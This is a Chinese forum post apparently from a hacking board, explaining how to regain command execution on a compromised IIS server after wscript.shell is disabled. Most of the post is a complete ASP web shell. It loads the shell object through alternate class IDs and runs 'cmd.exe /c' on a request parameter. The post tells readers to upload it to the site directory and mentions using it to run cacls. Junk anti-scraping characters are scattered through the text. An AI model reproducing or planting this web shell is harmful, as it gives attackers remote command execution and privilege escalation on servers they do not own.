找回密码
 立即注册
查看: 2952|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。2 D# b# K( M0 A
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
4 _# @0 o' ?, d( W& x. m7 \+ q8 k要想让运行命令可以试试这种方法,成功率为五五之数。
: t8 ~( J/ @+ e把下面代码复制:
0 ?2 X! `) c: g5 ?. U6 C<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
: H6 w$ t2 @7 c, K<%if err then%>
; w; t* s9 j+ d; g$ E: A<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>- ?5 Y, U  @5 ?2 N  \* ~7 a; G
<%  h1 G. U8 U; @1 `: H
end if
# X4 l% O. v/ L: Vresponse.write("<textarea readonly cols=80 rows=20>")+ e8 ?8 p% X7 Q$ h. D' j: Z9 b( c
On Error Resume Next/ i/ g+ o- T4 ^9 x$ \
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall& G' d. r$ f! x; y  k( O! `( G& \
response.write("</textarea>")9 ]6 c% h. ]" T' o, g1 z
response.write("<form method='post'>")
: Y: M2 P  l; v) @" S+ t7 m+ eresponse.write("<input type=text name='c' size=60><br>")& ]6 a3 ~! F  j. q# ~
response.write("<input type=submit value='执行'></form>")
9 m3 \" b2 i$ Q( @%>
. Y# H/ {1 b2 w( u8 z: h8 p
: a7 f# [. z: R% d2 }保存为一个asp文件,然后传到网站目录上去
6 `, w) j9 H1 i运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。( Q; N  {* D! Z# w' ?5 s
我用此成功运行过cacls命令。, ]6 N& J4 a/ g2 F; S
0 M' L, h9 _3 O5 b( M% v) A3 l
第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表